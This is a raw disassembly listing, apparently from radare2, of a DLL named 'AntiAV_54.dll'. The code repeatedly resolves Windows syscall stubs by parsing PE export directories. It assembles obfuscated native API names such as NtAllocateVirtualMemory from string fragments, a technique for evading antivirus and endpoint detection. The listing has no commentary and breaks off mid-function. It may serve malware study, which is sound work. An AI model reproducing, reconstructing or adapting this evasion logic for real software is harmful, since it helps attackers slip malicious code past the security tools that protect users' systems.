call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x690]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c684330
lea rbx, [0x6c73d3d7]
jmp 0x6c684337
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x97f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x97f]
lea rax, [rbp + 0x950]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, [0x6c73d3f7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x8f0]
lea rdx, [rbp + 0x910]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x8d0]
lea rdx, [rbp + 0x8f0]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x8b0]
lea rdx, [rbp + 0x8d0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x870]
lea rdx, [rbp + 0x890]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0x870]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x830]
lea rdx, [rbp + 0x850]
lea r8, [0x6c73d3c9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x810]
lea rdx, [rbp + 0x830]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x7f0]
lea rdx, [rbp + 0x810]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x7d0]
lea rdx, [rbp + 0x7f0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x7d0]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x7b0]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x770]
lea rdx, [rbp + 0x790]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x750]
lea rdx, [rbp + 0x770]
lea r8, [0x6c73d3d1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x730]
lea rdx, [rbp + 0x750]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x710]
lea rdx, [rbp + 0x730]
lea r8, [0x6c73d3d3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x710]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x6d0]
lea rdx, [rbp + 0x6f0]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x6b0]
lea rdx, [rbp + 0x6d0]
lea r8, [0x6c73d3d5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x6b0]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x6b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x6f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x710]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x730]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x750]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x770]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x790]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x7b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x7d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x7f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x810]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x830]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x850]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x870]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x890]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x8b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x8d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x97f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x980]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x980]
mov rcx, qword [rbp + 0x2f00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x980]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c6847d0
lea rbx, [0x6c73d3d7]
jmp 0x6c6847d7
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0xbaf]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0xbaf]
lea rax, [rbp + 0xb80]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xb40]
lea rdx, [rbp + 0xb60]
lea r8, [0x6c73d3f9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xb20]
lea rdx, [rbp + 0xb40]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xb00]
lea rdx, [rbp + 0xb20]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xae0]
lea rdx, [rbp + 0xb00]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xac0]
lea rdx, [rbp + 0xae0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xaa0]
lea rdx, [rbp + 0xac0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xa80]
lea rdx, [rbp + 0xaa0]
lea r8, [0x6c73d3fb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xa60]
lea rdx, [rbp + 0xa80]
lea r8, [0x6c73d3fd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xa40]
lea rdx, [rbp + 0xa60]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xa20]
lea rdx, [rbp + 0xa40]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xa00]
lea rdx, [rbp + 0xa20]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x9e0]
lea rdx, [rbp + 0xa00]
lea r8, [0x6c73d3ff]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x9c0]
lea rdx, [rbp + 0x9e0]
lea r8, [0x6c73d401]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x9a0]
lea rdx, [rbp + 0x9c0]
lea r8, [0x6c73d403]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x9a0]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x9a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x9c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x9e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xa00]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xa20]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xa40]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xa60]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xa80]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xaa0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xac0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xae0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xb00]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xbaf]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0xbb0]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0xbb0]
mov rcx, qword [rbp + 0x2ef8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0xbb0]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c684b68
lea rbx, [0x6c73d3d7]
jmp 0x6c684b6f
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0xd9f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0xd9f]
lea rax, [rbp + 0xd70]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xd30]
lea rdx, [rbp + 0xd50]
lea r8, [0x6c73d405]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xd10]
lea rdx, [rbp + 0xd30]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xcf0]
lea rdx, [rbp + 0xd10]
lea r8, [0x6c73d407]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xcd0]
lea rdx, [rbp + 0xcf0]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xcb0]
lea rdx, [rbp + 0xcd0]
lea r8, [0x6c73d3d3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xc90]
lea rdx, [rbp + 0xcb0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xc70]
lea rdx, [rbp + 0xc90]
lea r8, [0x6c73d3fb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xc50]
lea rdx, [rbp + 0xc70]
lea r8, [0x6c73d3fd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xc30]
lea rdx, [rbp + 0xc50]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xc10]
lea rdx, [rbp + 0xc30]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xbf0]
lea rdx, [rbp + 0xc10]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xbd0]
lea rdx, [rbp + 0xbf0]
lea r8, [0x6c73d3ff]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0xbd0]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xbf0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xc10]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xc30]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xc50]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xc70]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xc90]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xcb0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xcd0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xcf0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0xd9f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0xda0]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0xda0]
mov rcx, qword [rbp + 0x2ef0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0xda0]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c684ea8
lea rbx, [0x6c73d3d7]
jmp 0x6c684eaf
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x106f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x106f]
lea rax, [rbp + 0x1040]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1000]
lea rdx, [rbp + 0x1020]
lea r8, str.WPCThdExRsFSngObjQIfpGDw_n
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xfe0]
lea rdx, [rbp + 0x1000]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xfc0]
lea rdx, [rbp + 0xfe0]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xfa0]
lea rdx, [rbp + 0xfc0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xf80]
lea rdx, [rbp + 0xfa0]
lea r8, [0x6c73d409]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xf60]
lea rdx, [rbp + 0xf80]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xf40]
lea rdx, [rbp + 0xf60]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xf20]
lea rdx, [rbp + 0xf40]
lea r8, [0x6c73d40b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xf00]
lea rdx, [rbp + 0xf20]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xee0]
lea rdx, [rbp + 0xf00]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xec0]
lea rdx, [rbp + 0xee0]
lea r8, [0x6c73d40f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xea0]
lea rdx, [rbp + 0xec0]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xe80]
lea rdx, [rbp + 0xea0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xe60]
lea rdx, [rbp + 0xe80]
lea r8, [0x6c73d411]
mov rcx, rax
